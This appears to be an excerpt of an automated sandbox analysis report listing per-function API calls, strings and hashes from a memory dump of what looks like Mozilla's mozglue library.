??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C5D5C8C,?,6C5AE829), ref: 6C5D5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C5D5C8C,?,6C5AE829), ref: 6C5D5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C5D5C8C,?,6C5AE829), ref: 6C5D5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C5D5C8C,?,6C5AE829), ref: 6C5D5DC9
std::_Facet_Register.LIBCPMT ref: 6C5D5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C5D5C8C,?,6C5AE829), ref: 6C5D5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C5D5C8C,?,6C5AE829), ref: 6C5D5E45

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: cdaeafe976501e6abdb75501245e0b6fbdfd88146f1bdfafcc900fe0ef7cabec
Instruction ID: a6ed2ea25abb70b9ed85f7b39ab1dde5e03c05d9f7bb25bd064421a921c07d28
Opcode Fuzzy Hash: cdaeafe976501e6abdb75501245e0b6fbdfd88146f1bdfafcc900fe0ef7cabec
Instruction Fuzzy Hash: 0A415A707003058FDB04EFA9CC98AAE77B5EF89314F564068E5169B781EB30A905CFA5

Function 6C5ACC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5731A7), ref: 6C5ACDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5ACFA4, 6C5ACFB8
<jemalloc>, xrefs: 6C5ACF9F, 6C5ACFB3

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 4d7e5eedc9886931a8866a61a638ecb5f234b624da0eb34ddac9cac14d5103bf
Instruction ID: d9c3fe19ef569a8aaac800cdad60e81c3a3f2e0e6db6ece7e59ea550a0f4fd5c
Opcode Fuzzy Hash: 4d7e5eedc9886931a8866a61a638ecb5f234b624da0eb34ddac9cac14d5103bf
Instruction Fuzzy Hash: 2831C7707412059BFF05AFE68D45B6E7BB5AB45714F204019F621EBAC0DB72E402CFA5

Function 6C57ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C57F100: LoadLibraryW.KERNEL32(shell32,?,6C5ED020), ref: 6C57F122
Part of subcall function 6C57F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C57F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C57ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C57EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C57EDCC
CreateFileW.KERNEL32 ref: 6C57EE08
free.MOZGLUE(00000000), ref: 6C57EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C57EE32

Part of subcall function 6C57EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C57EBB5
Part of subcall function 6C57EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5AD7F3), ref: 6C57EBC3
Part of subcall function 6C57EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5AD7F3), ref: 6C57EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C57EDC1

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ff3ea33e8b4bb3e80212da94babaf2d03cc9413dc661094dcdb50442fd98bf22
Instruction ID: 27e1ce580e38d72e08efdf0ba5a5cdad8fff8ce9a3d5a85924c09770508a488f
Opcode Fuzzy Hash: ff3ea33e8b4bb3e80212da94babaf2d03cc9413dc661094dcdb50442fd98bf22
Instruction Fuzzy Hash: D051BE71D05304CFDB20DF68DD416EEB7B0AF99318F44892DE8556B740E7B0AD888BA2

Function 6C5EA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5EA565

Part of subcall function 6C5EA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5EA4BE
Part of subcall function 6C5EA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5EA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5EA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5EA6B6

Strings

0, xrefs: 6C5EA5FB
z, xrefs: 6C5EA6AE

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: afa2b42693cd7b0b544dbfbb4e7f8d72f7976fdfcc326c9d4c161e5f41c113d6
Instruction ID: 01bb1862293eaeeec505d5950cba4770233d89ae078aa2dbfa8f31a742090a98
Opcode Fuzzy Hash: afa2b42693cd7b0b544dbfbb4e7f8d72f7976fdfcc326c9d4c161e5f41c113d6
Instruction Fuzzy Hash: 984117719087459FC741DF28C880A9ABBF5BFCA354F408A2EF49987650E730D549CB92

Function 6C5B9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5AAB89: EnterCriticalSection.KERNEL32(6C5FE370,?,?,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284), ref: 6C5AAB94
Part of subcall function 6C5AAB89: LeaveCriticalSection.KERNEL32(6C5FE370,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5AABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C584A68), ref: 6C5B945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B9482
__Init_thread_footer.LIBCMT ref: 6C5B949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B947D

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 8f71dcd9eb55fa146b7df0053f6913fb12b233b2457c37bcf9d1e47a033f6e78
Instruction ID: 797c9c11ac877d7fdcd397bdbc2ee974fc0b0fc45eb54ef6bbcd6801c09e8a55
Opcode Fuzzy Hash: 8f71dcd9eb55fa146b7df0053f6913fb12b233b2457c37bcf9d1e47a033f6e78
Instruction Fuzzy Hash: F5012870A001018BD7189B5CEC28A4E37F8AB05328F060636D86AD6F51D731E85ACD5F

Function 6C5C0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5C0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C0F88
GetCurrentThreadId.KERNEL32 ref: 6C5C0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C5C1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5C10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C5C114B

Part of subcall function 6C5B8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C5D1563), ref: 6C5B8BD5

free.MOZGLUE(?), ref: 6C5C1174
free.MOZGLUE(?), ref: 6C5C1186

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b4be1b139bf8ab0410c6645e705eb95b88e30ad4577a2a1776c2a6a9406490b8
Instruction ID: 6fd3087aeb46a20e61742c51c978d88380d25739844f5633dbaeb97a4794a4f8
Opcode Fuzzy Hash: b4be1b139bf8ab0410c6645e705eb95b88e30ad4577a2a1776c2a6a9406490b8
Instruction Fuzzy Hash: CA619A75A04340DBDB10DF65DC80BAAB7F6AFC5308F04891DE99997711EB71E889CB82

Function 6C57B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C57B61E,?,?,?,?,?,00000000), ref: 6C57B6AC

Part of subcall function 6C58CA10: malloc.MOZGLUE(?), ref: 6C58CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C57B61E,?,?,?,?,?,00000000), ref: 6C57B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C57B61E,?,?,?,?,?,00000000), ref: 6C57B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C57B61E,?,?,?,?,?,00000000), ref: 6C57B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C57B61E,?,?,?,?,?,00000000), ref: 6C57B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C57B61E), ref: 6C57B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C57B61E,?,?,?,?,?,00000000), ref: 6C57B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C57B61E,?,?,?,?,?,00000000), ref: 6C57B79A

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 3106082585c3b400e5dd64b349316bf7bce1dba48677657a61f19700f6c320ed
Instruction ID: b0839d15ef262dba921b250fb03abedb584a7fa1fcd757b31a36be5e83baa179
Opcode Fuzzy Hash: 3106082585c3b400e5dd64b349316bf7bce1dba48677657a61f19700f6c320ed
Instruction Fuzzy Hash: B841A2B2D001159FCB14EE68DC805AEB7B5BF88324B250669E825E7780E731AD4487E1

Function 6C57EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C5F5104), ref: 6C57EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C57EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C57EFEC
free.MOZGLUE(?), ref: 6C57F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C57F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C57F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C57F065
moz_xmalloc.MOZGLUE ref: 6C57F072

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 4ea4df37d2b865a3f2f2b525d88bfb1de3015736b762b16963a3fbe397b283d8
Instruction ID: d39f2564cadd3e95905a5535b46d170408f1780c5140ea8a7cfe39cd1d790a78
Opcode Fuzzy Hash: 4ea4df37d2b865a3f2f2b525d88bfb1de3015736b762b16963a3fbe397b283d8
Instruction Fuzzy Hash: 2341D3B1A002159FCB18CF68DC809AE7765FF88324B244728E816DB794EB71ED5587E1

Function 6C5EB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C5EB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5EB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5EB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5EB5F4
__Init_thread_footer.LIBCMT ref: 6C5EB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C5EB61F
std::_Facet_Register.LIBCPMT ref: 6C5EB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EB655

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: c028a8c1f275025ba36ce9e0d981a67dc4dac96121b82cf2b8712ceeda622afa
Instruction ID: a9475e61cb5075a68191f3f9d2565768a45d6f8c4aa61f2b8dd3f7d207b819aa
Opcode Fuzzy Hash: c028a8c1f275025ba36ce9e0d981a67dc4dac96121b82cf2b8712ceeda622afa
Instruction Fuzzy Hash: 5B319471B00204CBCB04EFA9DC985AE77B5EF89315F150519D522D7740DB31A806CFA9

Function 6C5B6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C5AFA80: GetCurrentThreadId.KERNEL32 ref: 6C5AFA8D
Part of subcall function 6C5AFA80: AcquireSRWLockExclusive.KERNEL32(6C5FF448), ref: 6C5AFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5B6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5B67C8

Part of subcall function 6C5C4290: memcpy.VCRUNTIME140(?,?,6C5D2003,6C5D0AD9,?,6C5D0AD9,00000000,?,6C5D0AD9,?,00000004,?,6C5D1A62,?,6C5D2003,?), ref: 6C5C42C4

Strings

v_l, xrefs: 6C5B696C
data, xrefs: 6C5B6593

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$v_l
API String ID: 511789754-732087771
Opcode ID: e09f63a9f059ea9c17fbae6c5628a252d6e6d516e2e3cd799de3012a4aaf83fb
Instruction ID: 0d81a25f0715ea56f6ce8a3951382e8b3d252eb062c9b9068929dce88d3eb810
Opcode Fuzzy Hash: e09f63a9f059ea9c17fbae6c5628a252d6e6d516e2e3cd799de3012a4aaf83fb
Instruction Fuzzy Hash: 68D1BC75A08340CFD728DF25CC51B9EBBE5AFC5308F10492DE58997B91EB31A849CB92

Function 6C5AD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C57EB57,?,?,?,?,?,?,?,?,?), ref: 6C5AD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C57EB57,?), ref: 6C5AD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C57EB57,?), ref: 6C5AD673
free.MOZGLUE(?), ref: 6C5AD888

Strings

|Enabled, xrefs: 6C5AD81E
WWl, xrefs: 6C5AD5D9, 6C5AD63F

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WWl$|Enabled
API String ID: 4142949111-1304911802
Opcode ID: 8a1842ce55ee320bfa0b2bc413695473141a82a4978bdc87e4ea26e06a9f9e0a
Instruction ID: 276d9c31c9f1f2ee4c81850c4615355ba60e11b4178e042f902744e0a273c758
Opcode Fuzzy Hash: 8a1842ce55ee320bfa0b2bc413695473141a82a4978bdc87e4ea26e06a9f9e0a
Instruction Fuzzy Hash: 35A1F3B0A003098FDB15DFAACC807AEBBF1AF49318F14855CDC95AB741D735A946CBA1

Function 6C589830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C5D7ABE), ref: 6C58985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C5D7ABE), ref: 6C5898A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C589909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C589918
free.MOZGLUE(?), ref: 6C589975

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 2227a0de5c94b2c1f595109466b17d19ed90a0db23ca7d4b0e2ebba9a88458f4
Instruction ID: e40a1c2f4fb160db43da60d1fa320544c43dc6866fe5782c2daaeb58cb88ab13
Opcode Fuzzy Hash: 2227a0de5c94b2c1f595109466b17d19ed90a0db23ca7d4b0e2ebba9a88458f4
Instruction Fuzzy Hash: E6717A74606716CFC725CF28C880956B7F1FF8A3247644AA9E85A8BB90D731F841CF51

Function 6C58B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5CCC83,?,?,?,?,?,?,?,?,?,6C5CBCAE,?,?,6C5BDC2C), ref: 6C58B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5CCC83,?,?,?,?,?,?,?,?,?,6C5CBCAE,?,?,6C5BDC2C), ref: 6C58B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C5CCC83,?,?,?,?,?,?,?,?,?,6C5CBCAE), ref: 6C58B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C5CCC83,?,?,?,?,?,?,?,?,?,6C5CBCAE,?,?,6C5BDC2C), ref: 6C58B896

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: d71c4cc2645a72a9585421b4c02bbc3eb1da90c2bff71098e337934d85906083
Instruction ID: 8dbf1a39a135ca4777b2ebad93632a36de0b777ce8be8b5dcf4acdb3b284c99d
Opcode Fuzzy Hash: d71c4cc2645a72a9585421b4c02bbc3eb1da90c2bff71098e337934d85906083
Instruction Fuzzy Hash: CA518C357016108FCB14EF19CC84A2AB7F9FF88318B59895DE99A97351C731E802CF84

Function 6C5C1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5C1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C5C1BE3,?,?,6C5C1D96,00000000), ref: 6C5C1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C5C1BE3,?,?,6C5C1D96,00000000), ref: 6C5C1D4C
GetCurrentThreadId.KERNEL32 ref: 6C5C1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5C1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5C1DDA

Part of subcall function 6C5C1EF0: GetCurrentThreadId.KERNEL32 ref: 6C5C1F03
Part of subcall function 6C5C1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C5C1DF2,00000000,00000000), ref: 6C5C1F0C
Part of subcall function 6C5C1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5C1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C5C1DF4

Part of subcall function 6C58CA10: malloc.MOZGLUE(?), ref: 6C58CA26

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

